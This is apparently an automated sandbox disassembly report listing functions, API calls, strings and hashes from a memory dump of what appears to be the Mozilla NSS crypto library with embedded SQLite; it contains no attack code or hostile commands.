Function 6C565F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

u, xrefs: 6C5681DA
BINARY, xrefs: 6C568708, 6C568737, 6C5687B8
sub-select returns %d columns - expected %d, xrefs: 6C56805F
NOCASE, xrefs: 6C568703
ON clause references tables to its right, xrefs: 6C566BEC
-, xrefs: 6C566228
2, xrefs: 6C5665B4
-, xrefs: 6C5662F9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 3fe983f264cfc11a6a8f9a6daf9417eb76773c04552acd3e8700af72208ba0a9
Instruction ID: b602a4dd67f2f0dfeaa69c4972fd61a075b94f451d7c7ebe291cbe767e1c1bd1
Opcode Fuzzy Hash: 3fe983f264cfc11a6a8f9a6daf9417eb76773c04552acd3e8700af72208ba0a9
Instruction Fuzzy Hash: 9A4364746083419FD304CF26C890B5AB7E2BFC9358F148A5DE8958BB66D731EC46CB92

Function 6C60EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C60DAE2,?), ref: 6C60C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C60F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C60F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C60F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C60F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C6D218C), ref: 6C60F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C60F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C60F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C60F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C60F210

Part of subcall function 6C5B52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C60F1E9,?,00000000,?,?), ref: 6C5B52F5
Part of subcall function 6C5B52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C5B530F
Part of subcall function 6C5B52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C5B5326
Part of subcall function 6C5B52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C60F1E9,?,00000000,?,?), ref: 6C5B5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C60F227

Part of subcall function 6C5FFAB0: free.MOZGLUE(?,-00000001,?,?,6C59F673,00000000,00000000), ref: 6C5FFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C60F23E

Part of subcall function 6C5FBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5AE708,00000000,00000000,00000004,00000000), ref: 6C5FBE6A
Part of subcall function 6C5FBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5B04DC,?), ref: 6C5FBE7E
Part of subcall function 6C5FBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5FBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C60F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C60F3A8

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C60F3B3

Part of subcall function 6C5B2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C5B2D3C
Part of subcall function 6C5B2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5B2D5F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 2183edddb30c82c963286b28c0cfe677f8e8140412c028d0ac10876c31821453
Instruction ID: 5cedec4a4ada24e78d4339960c3f5f8623a69dfaf822fdc026f0fc5d157172c3
Opcode Fuzzy Hash: 2183edddb30c82c963286b28c0cfe677f8e8140412c028d0ac10876c31821453
Instruction Fuzzy Hash: EDD1A0B5F006059FDB08CF99D980A9EB7F5EF88318F148029DA15B7711EB31E806CB99

Function 6C63DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C617FFA,00000000,?,6C6423B9,00000002,00000000,?,6C617FFA,00000002), ref: 6C63DE33

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

Part of subcall function 6C63D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C63DE74,6C617FFA,00000002,?,?,?,?,?,00000000,6C617FFA,00000000,?,6C6423B9,00000002), ref: 6C63D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C617FFA,00000000,?,6C6423B9,00000002,00000000,?,6C617FFA,00000002), ref: 6C63DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C63DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C63E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C63E121
PK11_FreeSymKey.NSS3(?), ref: 6C63E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C63E195
PR_GetCurrentThread.NSS3 ref: 6C63E1FC

Part of subcall function 6C632460: PR_SetError.NSS3(FFFFE005,00000000,6C6D7379,00000002,?), ref: 6C632493

Strings

key, xrefs: 6C63E046
handshake data, xrefs: 6C63DFF7
application data, xrefs: 6C63DFE0
early application data, xrefs: 6C63DFC9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: ecf189566ddae61394a222435dddee2a842f516a306e9e65d301029d2c5e32c9
Instruction ID: 2fcf495268ebbb176f30dbcba2c1ecb99de99c7a811cf18c5c63992254053c65
Opcode Fuzzy Hash: ecf189566ddae61394a222435dddee2a842f516a306e9e65d301029d2c5e32c9
Instruction Fuzzy Hash: 71C1E571A002259BDB04CF65CC80BEAB7B5FF45308F046129E9099BB91E735ED54CBAA

Function 6C52ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C52EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52F483
database corruption, xrefs: 6C52F48D
%s at line %d of [%.10s], xrefs: 6C52F492

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 17deaece61084c2bfb5ecf51b3f11b93377a8d37a4992f0b3116757d527f764f
Instruction ID: 7a8839665b31325c4fa8360a2c652840cd20be22eabca4396f323d81c63c10b7
Opcode Fuzzy Hash: 17deaece61084c2bfb5ecf51b3f11b93377a8d37a4992f0b3116757d527f764f
Instruction Fuzzy Hash: 9A62EE70A042558FEB04CF24DC80B9ABBF1AF45318F18469DD8466BBD2D779EC86CB90

Function 6C5CFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C5CFD06

Part of subcall function 6C5CF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C5CF696
Part of subcall function 6C5CF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C5CF789
Part of subcall function 6C5CF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C5CF796
Part of subcall function 6C5CF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C5CF79F
Part of subcall function 6C5CF670: SECITEM_DupItem_Util.NSS3 ref: 6C5CF7F0

Part of subcall function 6C5F3440: PK11_GetAllTokens.NSS3 ref: 6C5F3481
Part of subcall function 6C5F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C5F34A3
Part of subcall function 6C5F3440: TlsGetValue.KERNEL32 ref: 6C5F352E
Part of subcall function 6C5F3440: EnterCriticalSection.KERNEL32(?), ref: 6C5F3542
Part of subcall function 6C5F3440: PR_Unlock.NSS3(?), ref: 6C5F355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C5CFDAD

Part of subcall function 6C5FFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5A9003,?), ref: 6C5FFD91
Part of subcall function 6C5FFD80: PORT_Alloc_Util.NSS3(A4686C60,?), ref: 6C5FFDA2
Part of subcall function 6C5FFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C60,?,?), ref: 6C5FFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C5CFE00

Part of subcall function 6C5FFD80: free.MOZGLUE(00000000,?,?), ref: 6C5FFDD1

Part of subcall function 6C5EE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5EE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5CFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C5CFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C5CFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5CFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5CFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C5CFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5CFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C5D0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C5D0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C5D0044

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 802af0e27ec8529a183102b878d5224775349a09bdbaeaf6024d4654d3a6ccd9
Instruction ID: c7a4dfdee0a4e721295974c2303df0d6d322c68f2a09fb8a68e8a56d38bd9f38
Opcode Fuzzy Hash: 802af0e27ec8529a183102b878d5224775349a09bdbaeaf6024d4654d3a6ccd9
Instruction Fuzzy Hash: 15B192B1604301AFE704CF69CC81A6BB7E5FF88308F558A1DE99997A41E770E944CB92

Function 6C5C7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C5C7DDC

Part of subcall function 6C6007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5A8298,?,?,?,6C59FCE5,?), ref: 6C6007BF
Part of subcall function 6C6007B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6007E6
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C60081B
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C600825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5C7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C5C7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C5C7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C5C7F98
PK11_FreeSymKey.NSS3(?), ref: 6C5C7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5C7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C5C8000

Part of subcall function 6C5E9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C5C7F0C,?,00000000,00000000,00000000,?), ref: 6C5E943B
Part of subcall function 6C5E9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C5E946B
Part of subcall function 6C5E9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C5E9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5C8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C5C811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C5C822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5C823C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: d26d124ccb0a928d9f1358ee2429094df3df91536185291aa0865b752a44e1cc
Instruction ID: 4a79b825a71deeea86d776dad6e0fe2508c6e5ce1b1a95158a5cd1b62b90903c
Opcode Fuzzy Hash: d26d124ccb0a928d9f1358ee2429094df3df91536185291aa0865b752a44e1cc
Instruction Fuzzy Hash: 33C163B1E00259DBDB21CF64CC44BDAB7B8AF05348F0085E9E91DA6A41E7319E85CF52

Function 6C53AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C65CF46,?,6C52CDBD,?,6C65BF31,?,?,?,?,?,?,?), ref: 6C53B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C65CF46,?,6C52CDBD,?,6C65BF31), ref: 6C53B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C65CF46,?,6C52CDBD,?,6C65BF31), ref: 6C53B0A2
CloseHandle.KERNEL32(?,?,6C65CF46,?,6C52CDBD,?,6C65BF31,?,?,?,?,?,?,?,?,?), ref: 6C53B100
sqlite3_free.NSS3(?,?,00000002,?,6C65CF46,?,6C52CDBD,?,6C65BF31,?,?,?,?,?,?,?), ref: 6C53B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C65CF46,?,6C52CDBD,?,6C65BF31), ref: 6C53B12D

Part of subcall function 6C529EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C53C6FD,?,?,?,?,6C58F965,00000000), ref: 6C529F0E
Part of subcall function 6C529EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C58F965,00000000), ref: 6C529F5D

Strings

`kl, xrefs: 6C53B0DF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `kl
API String ID: 3155957115-1495814759
Opcode ID: 109443c3eb86929bb7a25f0aedfe2f41f8d5debf7202f51ea7619d057cf59555
Instruction ID: 6cb9d159331e53ca40ee6647036d37d4518eaaee9702b450b8d3b7920d9ed17f
Opcode Fuzzy Hash: 109443c3eb86929bb7a25f0aedfe2f41f8d5debf7202f51ea7619d057cf59555
Instruction Fuzzy Hash: 6F91ECB0A006158FEB04DF65DC84B6BB7B2BF46308F145A2DE41A97B50FB35E844CB91

Function 6C5D0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C5D0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5D0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C5D1006
PK11_FreeSymKey.NSS3(?), ref: 6C5D101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5D1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5D103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C5D1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5D10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C5D10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D112E

Part of subcall function 6C5D1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C5D08C4,?,?), ref: 6C5D15B8
Part of subcall function 6C5D1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C5D08C4,?,?), ref: 6C5D15C1
Part of subcall function 6C5D1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D162E
Part of subcall function 6C5D1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D1637

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 21696324727fa56f3e8ec5daf217b48384f363d9e5cf07f3bb2099389567b682
Instruction ID: 766d3d86756bd15a1f515fae0298fd34e4a148e554c67894797c366a371209e1
Opcode Fuzzy Hash: 21696324727fa56f3e8ec5daf217b48384f363d9e5cf07f3bb2099389567b682
Instruction Fuzzy Hash: 7D71C0B1A04305CFDB04CFA9CC84A6BB7B0BF88328F158629E51997711E771E994CB95

Function 6C5F1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C5F1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C5F2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C5F228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C5F23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5F241C

Strings

manufacturer, xrefs: 6C5F2179
model, xrefs: 6C5F23CB, 6C5F23EC
token, xrefs: 6C5F1F2C
serial, xrefs: 6C5F22A2

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 34e00cc538c92bf96d6d1123a08db23ff7c078627f43020a27d0d638d6dad6cd
Instruction ID: a46ea494658b9ea36c5923c55409e517a28b7f64cb3d583e4f82d765bd9b51d2
Opcode Fuzzy Hash: 34e00cc538c92bf96d6d1123a08db23ff7c078627f43020a27d0d638d6dad6cd
Instruction Fuzzy Hash: E502FDF2D0C7C86EF7358671CC4C7D76EE09B46328F08166EC5AE466C3C3A8598A8B55

Function 6C530FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C52CA30: EnterCriticalSection.KERNEL32(?,?,?,6C58F9C9,?,6C58F4DA,6C58F9C9,?,?,6C55369A), ref: 6C52CA7A
Part of subcall function 6C52CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C52CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C53103E
EnterCriticalSection.KERNEL32(?), ref: 6C531139
LeaveCriticalSection.KERNEL32(?), ref: 6C531190
sqlite3_free.NSS3(00000000), ref: 6C531227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C53126E
sqlite3_free.NSS3(?), ref: 6C53127F

Strings

Pkl, xrefs: 6C53109E
winAccess, xrefs: 6C53129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C531267

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pkl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-926248632
Opcode ID: 78307b25654e614f65006c18baf6a5852ba02d182b7606668033b777e4b32967
Instruction ID: 38c5e574a9c9bd9703c2fd6399bcb1cf5a032e457ce5f2168c7a1de00416df26
Opcode Fuzzy Hash: 78307b25654e614f65006c18baf6a5852ba02d182b7606668033b777e4b32967
Instruction Fuzzy Hash: A4711B727042219BEB049F36EC89A9B3776FB86314F145639F929D7680FB30D805C796

Function 6C5F6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5A1C6F,00000000,00000004,?,?), ref: 6C5F6C3F

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C5A1C6F,00000000,00000004,?,?), ref: 6C5F6C60
